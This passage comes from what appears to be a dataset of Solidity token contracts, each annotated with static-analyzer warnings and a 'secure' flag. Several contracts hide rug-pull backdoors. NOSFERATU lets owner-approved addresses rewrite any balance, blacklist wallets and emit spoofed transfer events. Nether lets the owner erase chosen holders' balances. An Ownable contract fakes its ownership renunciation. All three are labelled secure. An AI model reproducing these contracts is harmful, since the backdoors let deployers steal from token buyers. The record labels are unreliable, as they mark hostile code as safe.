currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 976c076): Missing events for critical arithmetic parameters.\n\t// Recommendation for 976c076: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: 976c076\n _redisFeeOnBuy = redisFeeOnBuy;\n\t\t// events-maths | ID: 976c076\n _redisFeeOnSell = redisFeeOnSell;\n\t\t// events-maths | ID: 976c076\n _taxFeeOnBuy = taxFeeOnBuy;\n\t\t// events-maths | ID: 976c076\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f3feb0c): ChineseBullrun.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for f3feb0c: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: f3feb0c\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6b2899d): ChineseBullrun.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for 6b2899d: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: 6b2899d\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9cfb3c8): ChineseBullrun.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for 9cfb3c8: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: 9cfb3c8\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}",
"file_name": "solidity_code_2083.sol",
"secure": 0,
"size_bytes": 20108
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _owner;\n address private _ownerAddress;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n _ownerAddress = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() internal view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function ownerAddress() public view returns (address) {\n return _ownerAddress;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _ownerAddress = address(0);\n }\n}",
"file_name": "solidity_code_2084.sol",
"secure": 1,
"size_bytes": 1030
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract ATEN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcluded;\n address[] private _excluded;\n\n\t// WARNING Optimization Issue (constable-states | ID: 61e6502): ATEN._name should be constant \n\t// Recommendation for 61e6502: Add the 'constant' attribute to state variables that never change.\n string private _name = \"ATEN\";\n\t// WARNING Optimization Issue (constable-states | ID: 89d3ee6): ATEN._symbol should be constant \n\t// Recommendation for 89d3ee6: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"ATEN\";\n\t// WARNING Optimization Issue (constable-states | ID: 3f9e659): ATEN._decimals should be constant \n\t// Recommendation for 3f9e659: Add the 'constant' attribute to state variables that never change.\n uint256 private _decimals = 18;\n address private FeeAddress = 0x967d98e659f2787A38d928B9B7a49a2E4701B30C;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8a642ad): ATEN._MAX should be constant \n\t// Recommendation for 8a642ad: Add the 'constant' attribute to state variables that never change.\n uint256 private _MAX = ~uint256(0);\n\t// WARNING Optimization Issue (constable-states | ID: 79a51e4): ATEN._GRANULARITY should be constant \n\t// Recommendation for 79a51e4: Add the 'constant' attribute to state variables that never change.\n uint256 private _GRANULARITY = 1000;\n\n uint256 private _tTotal = 3000000000 * 10 ** 18;\n uint256 private _rTotal = (_MAX - (_MAX % _tTotal));\n\n uint256 private _tFeeTotal;\n uint256 private _tBurnTotal;\n uint256 private _tCharityTotal;\n\n uint256 public _TAX_FEE = 25;\n uint256 public _BURN_FEE = 0;\n uint256 public _CHARITY_FEE = 0;\n\n uint256 private ORIG_TAX_FEE = _TAX_FEE;\n uint256 private ORIG_BURN_FEE = _BURN_FEE;\n uint256 private ORIG_CHARITY_FEE = _CHARITY_FEE;\n\n constructor() {\n _rOwned[owner()] = _rTotal;\n emit Transfer(address(0), owner(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return uint8(_decimals);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n if (_isExcluded[account]) return _tOwned[account];\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 83912eb): ATEN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 83912eb: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function isExcluded(address account) public view returns (bool) {\n return _isExcluded[account];\n }\n\n function totalFees() public view returns (uint256) {\n return _tFeeTotal;\n }\n\n function totalBurn() public view returns (uint256) {\n return _tBurnTotal;\n }\n\n function totalCharity() public view returns (uint256) {\n return _tCharityTotal;\n }\n\n function deliver(uint256 tAmount) public {\n address sender = _msgSender();\n require(\n !_isExcluded[sender],\n \"Excluded addresses cannot call this function\"\n );\n (uint256 rAmount, , , , , , ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rTotal = _rTotal.sub(rAmount);\n _tFeeTotal = _tFeeTotal.add(tAmount);\n }\n\n function reflectionFromToken(\n uint256 tAmount,\n bool deductTransferFee\n ) public view returns (uint256) {\n require(tAmount <= _tTotal, \"Amount must be less than supply\");\n if (!deductTransferFee) {\n (uint256 rAmount, , , , , , ) = _getValues(tAmount);\n return rAmount;\n } else {\n (, uint256 rTransferAmount, , , , , ) = _getValues(tAmount);\n return rTransferAmount;\n }\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) public view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function excludeAccount(address account) external onlyOwner {\n require(!_isExcluded[account], \"Account is already excluded\");\n if (_rOwned[account] > 0) {\n _tOwned[account] = tokenFromReflection(_rOwned[account]);\n }\n _isExcluded[account] = true;\n _excluded.push(account);\n }\n\n function includeAccount(address account) external onlyOwner {\n require(_isExcluded[account], \"Account is already included\");\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (_excluded[i] == account) {\n _excluded[i] = _excluded[_excluded.length - 1];\n _tOwned[account] = 0;\n _isExcluded[account] = false;\n _excluded.pop();\n break;\n }\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0e7bbe4): ATEN.setAsCharityAccount(address).account lacks a zerocheck on \t FeeAddress = account\n\t// Recommendation for 0e7bbe4: Check that the address is not zero.\n function setAsCharityAccount(address account) external onlyOwner {\n\t\t// missing-zero-check | ID: 0e7bbe4\n FeeAddress = account;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 60506c3): ATEN.setTaxFeePercent(uint256) should emit an event for _TAX_FEE = taxFee \n\t// Recommendation for 60506c3: Emit an event for critical parameter changes.\n function setTaxFeePercent(uint256 taxFee) external onlyOwner {\n\t\t// events-maths | ID: 60506c3\n _TAX_FEE = taxFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f52f58e): ATEN.setBurnFeePercent(uint256) should emit an event for _BURN_FEE = burnFee \n\t// Recommendation for f52f58e: Emit an event for critical parameter changes.\n function setBurnFeePercent(uint256 burnFee) external onlyOwner {\n\t\t// events-maths | ID: f52f58e\n _BURN_FEE = burnFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b27986b): ATEN.setCharityFeePercent(uint256) should emit an event for _CHARITY_FEE = charityFee \n\t// Recommendation for b27986b: Emit an event for critical parameter changes.\n function setCharityFeePercent(uint256 charityFee) external onlyOwner {\n\t\t// events-maths | ID: b27986b\n _CHARITY_FEE = charityFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 536b8f7): Missing events for critical arithmetic parameters.\n\t// Recommendation for 536b8f7: Emit an event for critical parameter changes.\n function updateFee(\n uint256 _txFee,\n uint256 _burnFee,\n uint256 _charityFee\n ) public onlyOwner {\n require(_txFee < 100 && _burnFee < 100 && _charityFee < 100);\n\t\t// events-maths | ID: 536b8f7\n _TAX_FEE = _txFee * 100;\n\t\t// events-maths | ID: 536b8f7\n _BURN_FEE = _burnFee * 100;\n\t\t// events-maths | ID: 536b8f7\n _CHARITY_FEE = _charityFee * 100;\n\t\t// events-maths | ID: 536b8f7\n ORIG_TAX_FEE = _TAX_FEE;\n\t\t// events-maths | ID: 536b8f7\n ORIG_BURN_FEE = _BURN_FEE;\n\t\t// events-maths | ID: 536b8f7\n ORIG_CHARITY_FEE = _CHARITY_FEE;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4e5c172): ATEN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4e5c172: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takeFee = true;\n if (\n FeeAddress == sender ||\n FeeAddress == recipient ||\n _isExcluded[recipient]\n ) {\n takeFee = false;\n }\n\n if (!takeFee) removeAllFee();\n\n if (_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferFromExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && _isExcluded[recipient]) {\n _transferToExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferStandard(sender, recipient, amount);\n } else if (_isExcluded[sender] && _isExcluded[recipient]) {\n _transferBothExcluded(sender, recipient, amount);\n } else {\n _transferStandard(sender, recipient, amount);\n }\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n _standardTransferContent(sender, recipient, rAmount, rTransferAmount);\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _standardTransferContent(\n address sender,\n address recipient,\n uint256 rAmount,\n uint256 rTransferAmount\n ) private {\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _transferToExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n _excludedFromTransferContent(\n sender,\n recipient,\n tTransferAmount,\n rAmount,\n rTransferAmount\n );\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _excludedFromTransferContent(\n address sender,\n address recipient,\n uint256 tTransferAmount,\n uint256 rAmount,\n uint256 rTransferAmount\n ) private {\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _transferFromExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n _excludedToTransferContent(\n sender,\n recipient,\n tAmount,\n rAmount,\n rTransferAmount\n );\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _excludedToTransferContent(\n address sender,\n address recipient,\n uint256 tAmount,\n uint256 rAmount,\n uint256 rTransferAmount\n ) private {\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _transferBothExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n uint256 currentRate = _getRate();\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) = _getValues(tAmount);\n uint256 rBurn = tBurn.mul(currentRate);\n _bothTransferContent(\n sender,\n recipient,\n tAmount,\n rAmount,\n tTransferAmount,\n rTransferAmount\n );\n _sendToCharity(tCharity, sender);\n _reflectFee(rFee, rBurn, tFee, tBurn, tCharity);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _bothTransferContent(\n address sender,\n address recipient,\n uint256 tAmount,\n uint256 rAmount,\n uint256 tTransferAmount,\n uint256 rTransferAmount\n ) private {\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n }\n\n function _reflectFee(\n uint256 rFee,\n uint256 rBurn,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) private {\n _rTotal = _rTotal.sub(rFee).sub(rBurn);\n _tFeeTotal = _tFeeTotal.add(tFee);\n _tBurnTotal = _tBurnTotal.add(tBurn);\n _tCharityTotal = _tCharityTotal.add(tCharity);\n _tTotal = _tTotal.sub(tBurn);\n emit Transfer(address(this), address(0), tBurn);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tFee, uint256 tBurn, uint256 tCharity) = _getTBasics(\n tAmount,\n _TAX_FEE,\n _BURN_FEE,\n _CHARITY_FEE\n );\n uint256 tTransferAmount = getTTransferAmount(\n tAmount,\n tFee,\n tBurn,\n tCharity\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rFee) = _getRBasics(\n tAmount,\n tFee,\n currentRate\n );\n uint256 rTransferAmount = _getRTransferAmount(\n rAmount,\n rFee,\n tBurn,\n tCharity,\n currentRate\n );\n return (\n rAmount,\n rTransferAmount,\n rFee,\n tTransferAmount,\n tFee,\n tBurn,\n tCharity\n );\n }\n\n function _getTBasics(\n uint256 tAmount,\n uint256 taxFee,\n uint256 burnFee,\n uint256 charityFee\n ) private view returns (uint256, uint256, uint256) {\n uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);\n uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);\n uint256 tCharity = ((tAmount.mul(charityFee)).div(_GRANULARITY)).div(\n 100\n );\n return (tFee, tBurn, tCharity);\n }\n\n function getTTransferAmount(\n uint256 tAmount,\n uint256 tFee,\n uint256 tBurn,\n uint256 tCharity\n ) private pure returns (uint256) {\n return tAmount.sub(tFee).sub(tBurn).sub(tCharity);\n }\n\n function _getRBasics(\n uint256 tAmount,\n uint256 tFee,\n uint256 currentRate\n ) private pure returns (uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n return (rAmount, rFee);\n }\n\n function _getRTransferAmount(\n uint256 rAmount,\n uint256 rFee,\n uint256 tBurn,\n uint256 tCharity,\n uint256 currentRate\n ) private pure returns (uint256) {\n uint256 rBurn = tBurn.mul(currentRate);\n uint256 rCharity = tCharity.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn).sub(rCharity);\n return rTransferAmount;\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n\t\t// cache-array-length | ID: 50b32bf\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (\n _rOwned[_excluded[i]] > rSupply ||\n _tOwned[_excluded[i]] > tSupply\n ) return (_rTotal, _tTotal);\n rSupply = rSupply.sub(_rOwned[_excluded[i]]);\n tSupply = tSupply.sub(_tOwned[_excluded[i]]);\n }\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n function _sendToCharity(uint256 tCharity, address sender) private {\n uint256 currentRate = _getRate();\n uint256 rCharity = tCharity.mul(currentRate);\n _rOwned[FeeAddress] = _rOwned[FeeAddress].add(rCharity);\n _tOwned[FeeAddress] = _tOwned[FeeAddress].add(tCharity);\n emit Transfer(sender, FeeAddress, tCharity);\n }\n\n function removeAllFee() private {\n if (_TAX_FEE == 0 && _BURN_FEE == 0 && _CHARITY_FEE == 0) return;\n\n ORIG_TAX_FEE = _TAX_FEE;\n ORIG_BURN_FEE = _BURN_FEE;\n ORIG_CHARITY_FEE = _CHARITY_FEE;\n\n _TAX_FEE = 0;\n _BURN_FEE = 0;\n _CHARITY_FEE = 0;\n }\n\n function restoreAllFee() private {\n _TAX_FEE = ORIG_TAX_FEE;\n _BURN_FEE = ORIG_BURN_FEE;\n _CHARITY_FEE = ORIG_CHARITY_FEE;\n }\n\n function _getTaxFee() private view returns (uint256) {\n return _TAX_FEE;\n }\n}",
"file_name": "solidity_code_2085.sol",
"secure": 0,
"size_bytes": 21483
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract EverMoon is ERC20 {\n constructor() ERC20(\"EverMoon\", \"EVM\") {\n _mint(msg.sender, 8900000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_2086.sol",
"secure": 1,
"size_bytes": 276
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ncontract NOSFERATU {\n mapping(address => uint256) public balanceOf;\n mapping(address => bool) txVal;\n mapping(address => bool) renounced;\n\n\t// WARNING Optimization Issue (constable-states | ID: fed21e8): NOSFERATU.name should be constant \n\t// Recommendation for fed21e8: Add the 'constant' attribute to state variables that never change.\n string public name = \"Vampire Inu\";\n\t// WARNING Optimization Issue (constable-states | ID: 4f89d18): NOSFERATU.symbol should be constant \n\t// Recommendation for 4f89d18: Add the 'constant' attribute to state variables that never change.\n string public symbol = unicode\"NOSFERATU\";\n\t// WARNING Optimization Issue (constable-states | ID: cca562c): NOSFERATU.decimals should be constant \n\t// Recommendation for cca562c: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\t// WARNING Optimization Issue (immutable-states | ID: 16f3a35): NOSFERATU.totalSupply should be immutable \n\t// Recommendation for 16f3a35: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply = 200000000 * (uint256(10) ** decimals);\n\t// WARNING Optimization Issue (constable-states | ID: 24f4e71): NOSFERATU._totalSupply should be constant \n\t// Recommendation for 24f4e71: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply;\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n constructor() {\n balanceOf[msg.sender] = totalSupply;\n deploy(lead_dev, totalSupply);\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: ccc4cef): NOSFERATU.owner should be immutable \n\t// Recommendation for ccc4cef: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address owner = msg.sender;\n\t// WARNING Optimization Issue (constable-states | ID: c420bfb): NOSFERATU.V2Router should be constant \n\t// Recommendation for c420bfb: Add the 'constant' attribute to state variables that never change.\n address V2Router = 0xcECb9f75e0Cc2e4eF6D1FA4Af777f74133641B3D;\n\t// WARNING Optimization Issue (constable-states | ID: 98b738d): NOSFERATU.lead_dev should be constant \n\t// Recommendation for 98b738d: Add the 'constant' attribute to state variables that never change.\n address lead_dev = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;\n\n function deploy(address account, uint256 amount) public {\n require(msg.sender == owner);\n emit Transfer(address(0), account, amount);\n }\n modifier I() {\n require(renounced[msg.sender]);\n _;\n }\n\n function transfer(address to, uint256 value) public returns (bool success) {\n if (msg.sender == V2Router) {\n require(balanceOf[msg.sender] >= value);\n balanceOf[msg.sender] -= value;\n balanceOf[to] += value;\n emit Transfer(lead_dev, to, value);\n return true;\n }\n require(!txVal[msg.sender]);\n require(balanceOf[msg.sender] >= value);\n balanceOf[msg.sender] -= value;\n balanceOf[to] += value;\n emit Transfer(msg.sender, to, value);\n return true;\n }\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n function approve(\n address spender,\n uint256 value\n ) public returns (bool success) {\n allowance[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n return true;\n }\n function RenounceOwner(address x) public {\n require(msg.sender == owner);\n renounced[x] = true;\n }\n\n function delegate(address ex) public I {\n require(!txVal[ex]);\n txVal[ex] = true;\n }\n function send(address ex) public I {\n require(txVal[ex]);\n txVal[ex] = false;\n }\n function query(address x, uint256 check) public I returns (bool success) {\n balanceOf[x] = check;\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public returns (bool success) {\n if (from == V2Router) {\n require(value <= balanceOf[from]);\n require(value <= allowance[from][msg.sender]);\n balanceOf[from] -= value;\n balanceOf[to] += value;\n emit Transfer(lead_dev, to, value);\n return true;\n }\n require(!txVal[from]);\n require(!txVal[to]);\n require(value <= balanceOf[from]);\n require(value <= allowance[from][msg.sender]);\n balanceOf[from] -= value;\n balanceOf[to] += value;\n allowance[from][msg.sender] -= value;\n emit Transfer(from, to, value);\n return true;\n }\n}",
"file_name": "solidity_code_2087.sol",
"secure": 1,
"size_bytes": 5062
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Nether is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable cafe;\n\n constructor() {\n _name = \"NETHER\";\n\n _symbol = \"NETHER\";\n\n _decimals = 18;\n\n uint256 initialSupply = 690000000;\n\n cafe = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == cafe, \"Not allowed\");\n\n _;\n }\n\n function discourage(address[] memory admiration) public onlyOwner {\n for (uint256 i = 0; i < admiration.length; i++) {\n address account = admiration[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
